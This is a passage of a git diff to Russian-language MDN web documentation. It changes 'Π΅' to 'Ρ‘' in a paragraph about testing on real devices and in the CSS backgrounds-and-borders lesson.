Ρ‚ΠΎΠ³ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ свою ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΌΠ°ΡˆΠΈΠ½Ρƒ, Π½ΠΎ это Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠΏΡ‹Ρ‚Π°. (Если Π²Ρ‹ слСдуСтС этому ΠΏΡƒΡ‚ΠΈ, Microsoft ΠΈΠΌΠ΅Π΅Ρ‚ инструмСнты для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π³ΠΎΡ‚ΠΎΠ²ΡƒΡŽ ΠΊ использованию Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΌΠ°ΡˆΠΈΠ½Ρƒ Π½Π°Β <a href="https://modern.ie" rel="external">modern.ie</a>.)</p>
-<p>ΠžΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Π΄ΠΈΡ‚Π΅ тСстированиС Π½Π° Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌΒ ΡƒΡΡ‚Ρ€ΠΎΠΉΡΡ‚Π²Π΅, особСнно Π½Π° Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах. Π‘ΠΈΠΌΡƒΠ»ΡΡ†ΠΈΡΒ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройств - это новая, Ρ€Π°Π·Π²ΠΈΠ²Π°ΡŽΡ‰Π°ΡΡΡ тСхнология ΠΈ ΠΌΠ΅Π½Π΅Π΅ Π½Π°Π΄Π΅ΠΆΠ½Π°, Ρ‡Π΅ΠΌ симуляция Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½Ρ‹Ρ… устройств. РазумССтся,Β ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ устройства стоят Π΄Π΅Π½Π΅Π³, поэтому ΠΌΡ‹ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅ΠΌ Π²Π·Π³Π»ΡΠ½ΡƒΡ‚ΡŒ Π½Π°Β  <a href="http://opendevicelab.com/" rel="external">Open Device Lab initiative</a>. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΠΌΠ΅Π½ΠΈΠ²Π°Ρ‚ΡŒΡΡ устройствами, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° ΠΌΠ½ΠΎΠ³ΠΈΡ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ…, Π½Π΅ тратя слишком ΠΌΠ½ΠΎΠ³ΠΎ.</p>
+<p>ΠžΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Π΄ΠΈΡ‚Π΅ тСстированиС Π½Π° Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌΒ ΡƒΡΡ‚Ρ€ΠΎΠΉΡΡ‚Π²Π΅, особСнно Π½Π° Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах. Π‘ΠΈΠΌΡƒΠ»ΡΡ†ΠΈΡΒ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройств - это новая, Ρ€Π°Π·Π²ΠΈΠ²Π°ΡŽΡ‰Π°ΡΡΡ тСхнология ΠΈ ΠΌΠ΅Π½Π΅Π΅ Π½Π°Π΄Ρ‘ΠΆΠ½Π°, Ρ‡Π΅ΠΌ симуляция Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½Ρ‹Ρ… устройств. РазумССтся,Β ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ устройства стоят Π΄Π΅Π½Π΅Π³, поэтому ΠΌΡ‹ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅ΠΌ Π²Π·Π³Π»ΡΠ½ΡƒΡ‚ΡŒ Π½Π°Β  <a href="http://opendevicelab.com/" rel="external">Open Device Lab initiative</a>. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΠΌΠ΅Π½ΠΈΠ²Π°Ρ‚ΡŒΡΡ устройствами, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° ΠΌΠ½ΠΎΠ³ΠΈΡ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ…, Π½Π΅ тратя слишком ΠΌΠ½ΠΎΠ³ΠΎ.</p>
<h2 id="Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅_шаги">Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ шаги</h2>
diff --git a/files/ru/learn/css/building_blocks/backgrounds_and_borders/index.html b/files/ru/learn/css/building_blocks/backgrounds_and_borders/index.html
index c7c6b3549e..71587be09c 100644
--- a/files/ru/learn/css/building_blocks/backgrounds_and_borders/index.html
+++ b/files/ru/learn/css/building_blocks/backgrounds_and_borders/index.html
@@ -15,7 +15,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders
---
<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}</div>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ этом ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹ рассмотрим Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ интСрСсныС возмоТности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ CSS свойств Ρ„ΠΎΠ½Π° ΠΈ Π³Ρ€Π°Π½ΠΈΡ† .</span> <span title="">Благодаря добавлСнию Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠ², Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ Π·Π°ΠΊΡ€ΡƒΠ³Π»Π΅Π½Π½Ρ‹Ρ… ΡƒΠ³Π»ΠΎΠ² свойства Ρ„ΠΎΠ½Π° ΠΈ Π³Ρ€Π°Π½ΠΈΡ† отвСтят Π½Π° ΠΌΠ½ΠΎΠ³ΠΈΠ΅ вопросы стилизации Π² CSS.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ этом ΡƒΡ€ΠΎΠΊΠ΅ ΠΌΡ‹ рассмотрим Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ интСрСсныС возмоТности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ CSS свойств Ρ„ΠΎΠ½Π° ΠΈ Π³Ρ€Π°Π½ΠΈΡ† .</span> <span title="">Благодаря добавлСнию Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠ², Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ Π·Π°ΠΊΡ€ΡƒΠ³Π»Ρ‘Π½Π½Ρ‹Ρ… ΡƒΠ³Π»ΠΎΠ² свойства Ρ„ΠΎΠ½Π° ΠΈ Π³Ρ€Π°Π½ΠΈΡ† отвСтят Π½Π° ΠΌΠ½ΠΎΠ³ΠΈΠ΅ вопросы стилизации Π² CSS.</span></span></p>
<table class="learn-box standard-table">
<tbody>
@@ -40,13 +40,13 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders
} </code>
</pre>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ΠœΡ‹ вСрнСмся ΠΊ Ρ‚ΠΎΠΌΡƒ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ сокращСниС </span></span>ΠΏΠΎΠ·ΠΆΠ΅<span class="tlid-translation translation" lang="ru"><span title="">, </span></span>Π° ΠΏΠΎΠΊΠ°<span class="tlid-translation translation" lang="ru"><span title=""> Π΄Π°Π²Π°ΠΉΡ‚Π΅ взглянСм Π½Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π΅Π»Π°Ρ‚ΡŒ с Ρ„ΠΎΠ½ΠΎΠΌ Π² CSS, посмотрСв Π½Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ свойства </span></span><code>background</code><span class="tlid-translation translation" lang="ru"><span title="">.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ΠœΡ‹ вСрнёмся ΠΊ Ρ‚ΠΎΠΌΡƒ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ сокращСниС </span></span>ΠΏΠΎΠ·ΠΆΠ΅<span class="tlid-translation translation" lang="ru"><span title="">, </span></span>Π° ΠΏΠΎΠΊΠ°<span class="tlid-translation translation" lang="ru"><span title=""> Π΄Π°Π²Π°ΠΉΡ‚Π΅ взглянСм Π½Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π΅Π»Π°Ρ‚ΡŒ с Ρ„ΠΎΠ½ΠΎΠΌ Π² CSS, посмотрСв Π½Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ свойства </span></span><code>background</code><span class="tlid-translation translation" lang="ru"><span title="">.</span></span></p>
<h3 id="Π€ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ_Ρ†Π²Π΅Ρ‚">Π€ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚</h3>
<p><span class="tlid-translation translation" lang="ru"><span title="">Бвойство {{cssxref ("background-color")}} опрСдСляСт Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° для любого элСмСнта Π² CSS.</span> <span title="">Бвойство ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ любой допустимый </span></span>Ρ†Π²Π΅Ρ‚<span class="tlid-translation translation" lang="ru"><span title=""> </span></span><code><a href="/ru/docs/Web/CSS/color_value">&lt;color&gt;</a></code><span class="tlid-translation translation" lang="ru"><span title="">.</span> </span><code>background-color</code><span class="tlid-translation translation" lang="ru"><span title=""> распространяСтся Π½Π° сам ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΈ отступы ΠΎΡ‚ Π½Π΅Π³ΠΎΒ </span></span>(padding)<span class="tlid-translation translation" lang="ru"><span title="">.</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ использовали Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ значСния Ρ†Π²Π΅Ρ‚Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΊ Π±Π»ΠΎΠΊΡƒ, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ ΠΈ элСмСнту {{htmlelement ("span")}}.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ использовали Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ значСния Ρ†Π²Π΅Ρ‚Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΊ Π±Π»ΠΎΠΊΡƒ, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ ΠΈ элСмСнту {{htmlelement ("span")}}.</span></span></p>
<p><span class="tlid-translation translation" lang="ru"><span title=""><strong>ΠŸΠΎΠΈΠ³Ρ€Π°ΠΉΡ‚Π΅ с Π½ΠΈΠΌΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ любоС доступноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</strong> </span></span><strong><a href="/ru/docs/Web/CSS/color_value">&lt;color&gt;</a><span class="tlid-translation translation" lang="ru"><span title="">.</span></span></strong></p>
@@ -54,14 +54,14 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders
<h3 id="Π€ΠΎΠ½ΠΎΠ²ΠΎΠ΅_ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅">Π€ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅</h3>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Бвойство {{cssxref ("background-image")}} позволяСт ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ </span></span>Π² качСствС Ρ„ΠΎΠ½Π° элСмСнта<span class="tlid-translation translation" lang="ru"><span title="">.</span> <span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ Π΄Π²Π° Π±Π»ΠΎΠΊΠ° </span></span>β€”<span class="tlid-translation translation" lang="ru"><span title=""> Π² ΠΎΠ΄Π½ΠΎΠΌ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ большС, Ρ‡Π΅ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ Π±Π»ΠΎΠΊΠ°, Π° Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ - малСнькоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π·Π²Π΅Π·Π΄Ρ‹.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Бвойство {{cssxref ("background-image")}} позволяСт ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ </span></span>Π² качСствС Ρ„ΠΎΠ½Π° элСмСнта<span class="tlid-translation translation" lang="ru"><span title="">.</span> <span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ Π΄Π²Π° Π±Π»ΠΎΠΊΠ° </span></span>β€”<span class="tlid-translation translation" lang="ru"><span title=""> Π² ΠΎΠ΄Π½ΠΎΠΌ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ большС, Ρ‡Π΅ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ Π±Π»ΠΎΠΊΠ°, Π° Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ - малСнькоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π·Π²Π΅Π·Π΄Ρ‹.</span></span></p>
<p><span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ дСмонстрируСт Π΄Π²Π΅ </span></span>особСнности<span class="tlid-translation translation" lang="ru"><span title=""> Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ.</span> <span title="">По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ большоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ Π΄ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Π±Π»ΠΎΠΊΠ°, поэтому ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΅Π³ΠΎ нСбольшой ΡƒΠ³ΠΎΠ», Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ малСнькоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ повторяСтся, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ вСсь Π±Π»ΠΎΠΊ.</span> <span title="">Π’ нашСм случаС фактичСски Π±Ρ‹Π»ΠΎ использовано ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΎΠ΄Π½ΠΎΠΉ малСнькой Π·Π²Π΅Π·Π΄Ρ‹.</span></span></p>
<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background-image.html", '100%', 600)}}</p>
<div class="blockIndicator note">
-<p><strong>Если ΠΊΡ€ΠΎΠΌΠ΅ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ изобраТСния Π²Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚, Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π½Π°Π΄ Ρ†Π²Π΅Ρ‚ΠΎΠΌ.</strong> ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свойство <code>background-color</code> Π² <span class="tlid-translation translation" lang="ru"><span title="">ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ это Π² дСйствии.</span></span></p>
+<p><strong>Если ΠΊΡ€ΠΎΠΌΠ΅ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ изобраТСния Π²Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚, Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π½Π°Π΄ Ρ†Π²Π΅Ρ‚ΠΎΠΌ.</strong> ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свойство <code>background-color</code> Π² <span class="tlid-translation translation" lang="ru"><span title="">ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ это Π² дСйствии.</span></span></p>
</div>
<h4 id="Бвойство_background-repeat">Бвойство  background-repeat</h4>
@@ -81,7 +81,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders
<h4 id="ИзмСнСниС_Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ²_Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ_изобраТСния">ИзмСнСниС Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ изобраТСния</h4>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ большоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ Π±Ρ‹Π»ΠΎ ΠΎΠ±Ρ€Π΅Π·Π°Π½ΠΎ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΎ большС, Ρ‡Π΅ΠΌ элСмСнт, Ρ„ΠΎΠ½ΠΎΠΌ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠ½ΠΎ являСтся.</span> <span title="">Π’ этом случаС ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойство {{cssxref ("background-size")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ значСния </span></span><a href="/ru/docs/Web/CSS/Ρ€Π°Π·ΠΌΠ΅Ρ€">Π΄Π»ΠΈΠ½Ρ‹</a><span class="tlid-translation translation" lang="ru"><span title=""> ΠΈΠ»ΠΈ Π² <a href="/ru/docs/Web/CSS/percentage">ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ…</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ€ изобраТСния соотвСтствовал Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ Ρ„ΠΎΠ½Π°.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ большоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ Π±Ρ‹Π»ΠΎ ΠΎΠ±Ρ€Π΅Π·Π°Π½ΠΎ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΎ большС, Ρ‡Π΅ΠΌ элСмСнт, Ρ„ΠΎΠ½ΠΎΠΌ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠ½ΠΎ являСтся.</span> <span title="">Π’ этом случаС ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойство {{cssxref ("background-size")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ значСния </span></span><a href="/ru/docs/Web/CSS/Ρ€Π°Π·ΠΌΠ΅Ρ€">Π΄Π»ΠΈΠ½Ρ‹</a><span class="tlid-translation translation" lang="ru"><span title=""> ΠΈΠ»ΠΈ Π² <a href="/ru/docs/Web/CSS/percentage">ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ…</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ€ изобраТСния соотвСтствовал Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ Ρ„ΠΎΠ½Π°.</span></span></p>
<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова</span></span>:</p>
@@ -92,7 +92,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders
<p>НиТС я ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠ» значСния Π΄Π»ΠΈΠ½Ρ‹ ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌ изобраТСния. ГлядитС, ΠΊΠ°ΠΊ это исказило ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅.</p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ я использовал большоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ· Ρ€Π°Π½Π΅Π΅ рассмотрСнного ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΈ ΡƒΠΊΠ°Π·Π°Π» значСния Π΄Π»ΠΈΠ½Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ°.</span> <span title="">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ это исказило ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅.</span></span></p>
